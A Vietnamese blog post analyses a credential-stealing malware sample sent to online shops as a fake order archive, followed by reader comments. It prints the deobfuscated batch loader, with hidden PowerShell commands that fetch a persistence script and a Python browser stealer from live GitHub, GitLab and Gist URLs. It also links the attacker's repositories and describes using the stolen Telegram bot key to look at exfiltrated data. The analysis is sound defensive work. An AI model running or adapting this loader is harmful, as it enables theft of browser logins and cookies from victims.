Dạo gần đây nổi lên khá nhiều sự việc liên quan đến các shop bán hàng online, các cá nhân, doanh nghiệp bị kẻ hư chiếm đoạt tài khoản mạng xã hội. Thủ đoạn của các đối tượng thiên biến vạn hóa, ngày càng tinh vi về mặt kĩ thuật. Một trong những cách khá phổ biến đó là dụ dỗ nạn nhân tải mã độc và thực thi trên máy tính để chiếm đoạt thông tin đăng nhập từ trình duyệt.
Hôm qua mình có đọc được một bài viết về việc một người dùng thấy mã độc thông qua tin nhắn, bây giờ hãy cùng mình phân tích mã độc này nhé.
Tóm tắt vụ việc
Vào ngày 18/7/2023, một người dùng ẩn danh có đăng tải lên mạng xã hội về sự việc bị một đối tượng lạ nhắn tin với nội dung “Bên em cần nhập sỉ mẫu hàng này” và đính kèm một tập tin .rar và yêu cầu shop mở ra xem.
Người dùng này đã giải nén và mở file lên thì thấy máy tính xuất hiện một tab terminal và thực thi các câu lệnh lạ. Người này đã nghi ngờ là virus và đăng lên facebook để nhờ hỗ trợ.
Đây là mẫu file mà người dùng thấy (link do người đăng bài viết cung cấp): https://drive.google.com/drive/folders/1UGkQFqU3UAFmsfKPErZgMeQp7s2pRC0z
Quá trình phân tích
Các công cụ và môi trường
- Windows 10 (VMWare)
- IDA Pro
- Virustotal
- Any.run
- VS Code
Các bước tiến hành
Đầu tiên mình sẽ tải file mẫu Photo-images-Mau-San-Pham_2023-07-21-58.rar về máy ảo Windows 10. Ở môi trường này mình bật windows defender để đảm bảo rằng môi trường giống như máy tính của người sử dụng bình thường. Quá trình tải file về và giải nén đều không bị windows defender phát hiện là mã độc.
Sau khi giải nén mình thấy một file có định dạng .bat. Đây là định dạng của một file thực thi trên windows, file này sẽ chứa Shell Command để kích hoạt một số hành vi mà kẻ tấn công mong muốn.
Trước đây mình cũng từng thấy vài trường hợp kẻ hư gửi mã độc thông qua file nén (file .rar) và đặt mật khẩu giải nén để tránh bị các chương trình Anti Virus phát hiện. Lần này kẻ tấn công chỉ nén lại chứ không hề đặt mật khẩu, cả quá trình giải nén và thực thi file này đều không bị Windows Defender phát hiện ==> Mã độc này khá tinh vi về mặt kĩ thuật.
Vậy bằng cách nào mà mã độc này có thể trốn tránh được Windows Defender ???
Để giải đáp cho câu hỏi này, mình sẽ kết hợp cả phân tích tĩnh và phân tích động để xem nó hoạt động như thế nào. Mình sử dụng 2 trang web khá nổi tiếng trong việc phân tích mã độc là Virus Total và Any.run để kiểm tra file này.
Virus Total có 2/59 Security vendors’ analysis phát hiện đây là HEUR:Trojan.BAT.Setter.gen
Các bạn có thể xem kết quả tại đây: https://www.virustotal.com/gui/file/b479ed8148185ad9f97105d1f4da1c63446c2fc23beb5b06fb10fbc0e0774224/detection
Chỉ có 2/59 security vendors đánh giá đây là mã độc … một con số khá nhỏ
Riêng phần any.run mình sử dụng bản free và thực thi trên hệ điều hành Win7 32bit thì máy tính xem file này như một tệp văn bản nên không thực thi.
Kết quả any.run có thể xem tại đây: https://app.any.run/tasks/93ef3df5-d4ec-4806-bece-0586544a3962/
Do điều kiện chưa cho phép nên mình chưa có cơ hội thử chạy mã độc này trên nhiều hệ điều hành khác nhau. Tuy nhiên, mình nhận định sơ bộ mã độc này được thiết kế cho các máy tính có hệ điều hành phổ biến hiện nay (chẳng hạn như Windows 10, …)
Sau khi đã sử dụng 2 công cụ này để phân tích động, mình tiến hành phân tích tĩnh trên máy ảo Windows 10.
Phân tích tĩnh trên máy ảo
Sử dụng VSCode
Việc đầu tiên mình làm đó là mở file này bằng VSCode để xem bên trong nó chứa cái gì (có thể sử dụng notepad cũng được nhưng mình dùng VSCode cho giống hackẻ)
Mới đầu mình thấy mấy kí tự này giống tiếng Trung hay tiếng Nhật gì đấy nên mình nghĩ chắc là bị mã hóa hay gì rồi. Để làm rõ hơn nó là gì thì mình chuyển sang bước kế tiếp, sử dụng IDA để kiểm tra file này xem thế nào.
Sử dụng IDA
Đây rồi ….
Để dễ nhìn hơn thì mình sử dụng CyberChef, một công cụ khá nổi tiếng đối với anh em chơi crypto.
Sau một hồi thì đống bùng nhùng này cũng dễ nhìn hơn, đoạn mã mình thu được như sau:
@echo off
set eQ=y
set MA=0
set RA=D
set JA=$
set dA=t
set VQ=U
set Yg=b
set bQ=m
set MQ=1
set KA=(
set bA=l
set LQ=-
set Tg=N
set cQ=q
set eg=z
set Lw=/
set aA=h
set XA=\
set dg=v
set Jw='
set OA=8
set Rg=F
setlocal EnableDelayedExpansion
set cg=r
set aw=k
set Ww=[
set XQ=
]
set QQ=A
set bw=o
set cw=s
set Ow=;
set ZA=d
set UA=P
set Uw=S
set Zg=f
set aQ=i
set Mw=3
set IA=
set Lg=.
set RQ=E
set bg=n
set Ig="
set Tw=O
set Ug=R
set Mg=2
set dw=w
set eA=x
set YQ=a
set Og=:
set cA=p
set Nw=7
set dQ=u
set KQ=
)
set SQ=I
set Zw=g
set Vw=W
set TQ=M
set Yw=c
set Qw=C
set ZQ=e
cls
start chrome https://www.aliexpress.us/
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://raw.githubusercontent.com/alibaba20232023/haivcl/main/start -OutFile "C:\\Users\\$([Environment]::UserName)\\AppData\\Roaming\\Microsoft\\Windows\\'Start Menu'\\Programs\\Startup\\WindowsSecure.bat";
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://gitlab.com/alibaba2023/alibaba/-/raw/632ff709de86170331f3525133670a873637a990/Document.zip -OutFile C:\\Users\\Public\\Document.zip;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Expand-Archive C:\\Users\\Public\\Document.zip -DestinationPath C:\\Users\\Public\\Document;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://gist.githubusercontent.com/xjnhzaj12b1/fd8ac3eedbbb8b540a99bc30da23f9e5/raw/7a86a090d85645354046be055f91874295dbe37f/cty16 -OutFile C:\\Users\\Public\\Document\\project.py;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\\Users\\Public\\Document\\python C:\\Users\\Public\\Document\\project.py;
start chrome https://www.aliexpress.us/
Sau khi đã có được đoạn code của kẻ tấn công, bắt đầu quan sát luồng chương trình nhé …
Luồng chương trình
Ở phần code đầu tiên có vẻ như kẻ tấn công sử dụng obfuscate nên mình không biết những biến được gán là gì … cho nên mình nhờ ChatGPT deobfuscate dùm đoạn này.
Đoạn code mà ChatGPT deobfuscate như sau:
@echo off
rem Variable assignments
set enableQuietMode=yes
set mainVariable=0
set randomVariable=D
set joinVariable=$
set defaultVariable=t
set versionQuery=U
set modeVariable=b
set batchQuery=m
set maxQuantity=1
set keyArray=(
set letterA=l
set lineQuantity=-
set toggleVariable=N
set continueQuery=q
set exitVariable=z
set slashVariable=/
set actionVariable=h
set escapeCharacter=\
set debugVariable=v
set quoteCharacter='
set optionArgument=8
set repeatVariable=F
setlocal EnableDelayedExpansion
set counterVariable=r
set auxiliaryVariable=k
set openBracket=[
set closeBracket=]
set sectionHeader=A
set basicVariable=o
set conditionalVariable=s
set endLine=;
set numberVariable=d
set upperCaseVariable=P
set specialVariable=S
set lowercaseVariable=f
set inputVariable=i
set modeVariable=
set dotCharacter=.
set retryVariable=E
set blankVariable=n
set quoteCharacter="
set terminationVariable=O
set breakVariable=R
set digitVariable=2
set directoryVariable=w
set executeVariable=x
set characterVariable=a
set colonCharacter=:
set captureVariable=p
set digitVariable=7
set userQuery=u
set nullVariable=
)
rem Additional variable assignments
set searchQuery=I
set zoneVariable=g
set viewVariable=W
set typeQuery=M
set extensionVariable=c
set constantVariable=C
set letterQuery=e
cls
Có vẻ dễ nhìn hơn rồi nhỉ, ngoài ra mình còn nhờ ChatGPT giải thích đoạn code này. Mình tóm tắt lại như sau:
- @echo off: Dòng lệnh này tắt việc hiển thị lệnh trong cửa sổ console khi script đang chạy. Nghĩa là các lệnh trong script sẽ không được hiển thị trước khi được thực thi.
- Các dòng từ set enableQuietMode=yes đến set maxQuantity=1 sẽ đặt giá trị cho các biến được sử dụng trong script. Mỗi biến đều được gán một giá trị cụ thể (anh em chịu khó kéo lên xem đoạn code bên trên nhé).
- set keyArray=(…) mảng này định nghĩa mỗi phần tử của mảng này là một biến có tên dài hơn, được gán một giá trị cụ thể. Mảng này không được sử dụng trong đoạn mã sau này, vì vậy việc định nghĩa này có thể được xem là không có ý nghĩa –> chắc là troll mấy ông đi reverse cái code này =))).
- Mấy dòng còn lại bắt đầu bằng set cũng dùng để gán biến.
- Cuối cùng là cls sẽ dùng để xóa màn hình cửa sổ console (đoạn này sẽ dùng để che dấu vết –> thực thi đoạn gán biến xong xóa màn hình để người dùng không kịp nhìn thấy nội dung trong console)
Tiếp theo mới là phần quan trọng, anh em nhớ thắt dây an toàn (đừng dùng máy thật để thí nghiệm đoạn này nhé).
Đoạn code mọi người xem ở đây:
start chrome https://www.aliexpress.us/
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://raw.githubusercontent.com/alibaba20232023/haivcl/main/start -OutFile "C:\\Users\\$([Environment]::UserName)\\AppData\\Roaming\\Microsoft\\Windows\\'Start Menu'\\Programs\\Startup\\WindowsSecure.bat";
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://gitlab.com/alibaba2023/alibaba/-/raw/632ff709de86170331f3525133670a873637a990/Document.zip -OutFile C:\\Users\\Public\\Document.zip;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Expand-Archive C:\\Users\\Public\\Document.zip -DestinationPath C:\\Users\\Public\\Document;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://gist.githubusercontent.com/xjnhzaj12b1/fd8ac3eedbbb8b540a99bc30da23f9e5/raw/7a86a090d85645354046be055f91874295dbe37f/cty16 -OutFile C:\\Users\\Public\\Document\\project.py;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\\Users\\Public\\Document\\python C:\\Users\\Public\\Document\\project.py;
start chrome https://www.aliexpress.us/
Để dễ hiểu hơn thì các bạn hãy quan sát các bước dưới đây
Bước 1: mã độc sẽ mở một tab chrome truy cập vào trang web https://www.aliexpress.us/ –> mình nghĩ mục đích của kẻ tấn công là đánh lạc hướng người dùng (người dùng sẽ không để ý đến tab console bên trên nữa)
Bước 2: Tải một file từ github về, đường dẫn của file này là https://raw.githubusercontent.com/alibaba20232023/haivcl/main/start. Mình đã truy cập vào đường dẫn này và thấy kết quả:
Đây chính là một lệnh trong Windows Powershell, lệnh này sẽ tạo một tiến trình ẩn với nội dung làC:\\Users\\Public\\Document\\python C:\\Users\\Public\\Document\\project.py;
Tiến trình này sẽ khởi động cùng Windows (mỗi lần nạn nhân bật máy lên là tiến trình này sẽ khởi động, các bạn sẽ thường thấy phần này trong phần startup trên máy Windows). Tiến trình mà kẻ tấn công mong muốn chính là thực thi file project.py được lưu tại C:\\Users\\Public\\Document mỗi khi người dùng khởi động máy tính.
Hành vi của mã độc này theo như mình tìm hiểu thì đây là một loại Malware Persistence.
Vậy người dùng lấy file project.py ở đâu ra?
Lỡ như máy của nạn nhân không có python thì thực thi cái file này kiểu gì?
Để trả lời cho 2 câu hỏi này, hãy đi vào bước kế tiếp.
Bước 3: Thiết lập một kết nối tải xuống từ gitlab một file có tên là Document.zip, mình không biết tại sao kẻ tấn công lại lựa chọn gitlab để lưu trữ file này thay vì sử dụng github như những file code trước đó. Chắc là đẩy file zip lên github oằn hơn gitlab (cái này mình đoán thôi).
Bước 4: Sau khi tải về máy tính nạn nhân, file Document.zip được lưu tại folder C:\Users\Public\Document. Mình có tải file này về để giải nén, kết quả như hình dưới đây (folder trong hình là mình tải thủ công chứ không phải con malware tải về):
Để xác định xem file python.exe này có phải mã độc hay không, mình đã sử dụng VirusTotal để kiểm tra
Kết quả cho thấy python.exe không phải file độc hại, ngoài ra mình biết được đây là python phiên bản 3.1
Bước 5: Mã độc tiếp tục tải về một file từ gist.githubusercontent.com và lưu thành C:\Users\Public\Document\project.py
Thời điểm mình viết bài này file https://gist.githubusercontent.com/xjnhzaj12b1/fd8ac3eedbbb8b540a99bc30da23f9e5/raw/7a86a090d85645354046be055f91874295dbe37f/cty16 đã bị xóa (hoặc di chuyển đi chỗ nào đó). Tuy nhiên trước đó mình có xem xét repository github của các đối tượng này thì đoạn mã ở đường dẫn này lại trùng khớp với các file có tên là scan*
Điểm khác biệt của các file này là địa chỉ telegram mà dữ liệu sẽ được gửi đến (sẽ được đề cập dưới đây). Bây giờ mình sẽ đi vào phân tích 1 trong các file scan* này (mình sẽ lựa ra file gần giống mã độc gốc nhất theo như trí nhớ của mình cảm nhận).
Khúc này phân tích code hơi căng, anh em giải lao xíu rồi đọc tiếp nhé =)))
Về phần import các thư viện, hacker này xài khá nhiều thư viện liên quan đến mã hóa. Ngoài ra, sqlite3 cũng được đề cập trong đoạn code này –> có vẻ dùng sqlite để lưu trữ tạm thời trên máy nạn nhân.
Tiếp đến là phần khai báo biến, các biến được đề cập đến địa chỉ IP, thành phố, mã code, … của nạn nhân. Biến url là kết quả của một request đến endpoint https://gist.githubusercontent.com/alibaba20232023/f616aaaab71d1c6947e48e8543f95d31/raw/4fc3b3a279acfab35f2c945cf5faa975f691f50b/ffcl
Mình đã sử dụng python để kiểm tra giá trị biến url, kết quả cho thấy url = https://ipinfo.io. Hacker đã lợi dụng API của ipinfo.io để lấy thông tin của nạn nhân.
Tiếp đến lần lượt là các biến newtime, name_f, crypt. Về biến newtime và name_f thì mình có thể suy ra được cấu trúc của tên file mà hacker đặt.
Phần mà mình tò mò nhất, cũng là mấu chốt để mình tiếp tục chuyên mục Hack the hacker (ở bên dưới) chính là biến crypt.
Do đoạn code sử dụng hàm base64decode nên mình decode ra và được kết quả:
Ồ …. Đây là một API của bot telegram, có vẻ như đây chính là phương tiện mà hacker dùng để nhận thông tin đánh cắp được từ nạn nhân.
Telegram là một ứng dụng nhắn tin giống như messenger, discord, slack. Đây là một trong những ứng dụng được đánh giá là có tính bảo mật cao, chính vì lí do này mà các hacker thường lợi dụng để làm kênh trao đổi và tiếp nhận dữ liệu từ máy nạn nhân để khó bị phát hiện.
Hàm đầu tiên ở trong đoạn code này có nhiệm vụ kiểm tra xem tiến trình chrome.exe trên máy nạn nhân có hoạt động hay không, nếu có –> kill tiến trình này.
Hàm kế tiếp là tìm kiếm Profile trên máy tính nạn nhân, hàm này sẽ phục vụ cho việc tìm kiếm các file lưu trên máy tính (cụ thể là để truy cập vào folder của trình duyệt trên máy).
Các hàm kế tiếp được sử dụng để truy cập vào folder của trình duyệt với mục đích là trích xuất các file dữ liệu nhạy cảm của người dùng như: thông tin đăng nhập trên trình duyệt, cookie, trạng thái.
Mình ghi thấy hàm thực hiện hành vi này, gồm các hàm: gx0c, gx0e, gx0b, gx0o, gx0cc, gx0ch, gx0f. Một trong những trình duyệt mà hacker nhắm tới gồm: chrome, edge, brave, opera, firefox, chromium và một trình duyệt cực kì đặc biệt –> trình duyệt Cốc Cốc.
==> Khả năng cao đây là mã độc nhắm thẳng vào người dùng Việt Nam.
Sau khi đã trích xuất những dữ liệu nhạy cảm từ phía nạn nhân, hacker tiến hành mã hóa các dữ liệu này và lưu vào sqlite database.
Phần mã hóa và lưu trữ dữ liệu sau khi trích xuất mình xin phép không đề cập, các bạn có thể đọc code tại https://github.com/alibaba20232023/haivcl/blob/d5603297367819e18930f866194b4ba759bd84af/testv1 (đây là mã độc thật của kẻ tấn công, cẩn thận khi tải về nhé).
Giai đoạn cuối cùng là nén dữ liệu và gửi đến telegram của kẻ tấn công.
Trước khi vận chuyển các file này, dữ liệu được đóng gói ở định dạng .zip. Điều này sẽ giúp cho dữ liệu nhẹ hơn, tiện lợi cho quá trình vận chuyển và tránh bị phát hiện.
Từ các dữ kiện từ bên trên, mình tóm tắt quá trình mã độc thực thi như sau:
Truy xuất nguồn gốc mã độc
Dựa trên các dữ kiện từ github, gitlab và gist thì mình nhận định sơ bộ như sau:
- Cách đặt tên tài khoản github và một số code ở các repository đã nói lên đây là một người Việt Nam
- Mã độc này được thiết kế với mục tiêu là các shop bán hàng (hoặc một shop cụ thể nào đó), shop này có liên quan đến hàng nhập khẩu từ Alibaba –> mã độc mở trang web https://www.aliexpress.us/ đầu tiên để người dùng không nghi ngờ. Tên repository tại github mà gitlab đều đề cập đến cụm từ alibaba.
- Mục tiêu của mã độc là nhắm đến tài khoản facebook của nạn nhân, trong code của kẻ tấn công có chỉ đích danh đến địa chỉ facebook.com.
Hack the hacker
Mặc dù link gist của mã độc đã bị gỡ xuống nhưng trước đó mình đã kịp thu thập được thông tin về API key mà telegram bot của đối tượng này dùng để vận chuyển dữ liệu.
Bây giờ mình sẽ “vào hang cọp” để xem đối tượng này đã hack được ai và lấy được dữ liệu gì?
// Mình đã che lại các thông tin nhạy cảm
- Có vẻ như mục tiêu của hacker chỉ là một đơn vị cụ thể nào đó, khi con mồi đã mắc bẫy thì mã độc ở trên gist đã được gỡ xuống. Theo như quá trình tìm hiểu trên internet thì mình chưa thấy dấu hiệu phát tán mã độc này tràn lan.
Để bài viết kĩ thuật này không đi quá xa thì chuyên mục Hack the hacker xin tạm dừng tại đây.
Kết luận
Qua cách thức tấn công về mặt kĩ thuật thì đây là một dạng tấn công rất tinh vi, kẻ tấn công đã lợi dụng các nhà cung cấp đáng tin cậy như github, gitlab, gist, telegram và mã độc được chạy dưới dạng python script nên windows defender khó phát hiện ra. Kĩ thuật này cũng được đề cập tại WarCon22 bởi ông mgeeky.
Ở bài thuyết trình tại WarCon22, ông mgeeky ứng dụng kĩ thuật này cho việc kết nối đến Command & Control. Xem thêm về bài thuyết trình của mgeeky tại đây: https://mgeeky.tech/uploads/WarCon22%20-%20Modern%20Initial%20Access%20and%20Evasion%20Tactics.pdf
Thông qua source code mình cảm thấy hacker không phải tay ngang mà là một lập trình viên khá am hiểu về trình duyệt.
Cuối cùng là hành vi tấn công chính người dân Việt Nam thì đáng lên án và không thể chấp thấy.
Nguồn: vmtien.id.vn
Hi bạn, máy mình đang bị như vậy, không biết có xóa file python thì có hết được k ạ?
Hi b. mình thấy file up lên drive bị báo mã độc và mình k tải dc. b có thể nén lại set pass rùi upload lại hoặc gửi giúp mình mẫu dc k ạ. mình gặp case này r nma chưa có mẫu để phân tích. cảm ơn b!
Email: mixmixmix1234567890@gmail.com
Đây nha: https://app.box.com/s/ztkjmpjozhmcee3rjhue5adegm85hg7w
Làm sao để xóa và khắc phục tình trạng này vậy ạ
xin hướng dẫn lấy dữ liệu dùng API key bot telegram với ạ
Phân tích thì đúng rồi, nhưng cách để hỗ trợ xoá, phá huỷ phần mềm độc hại thì lại không có, vậy viết lên để làm gì????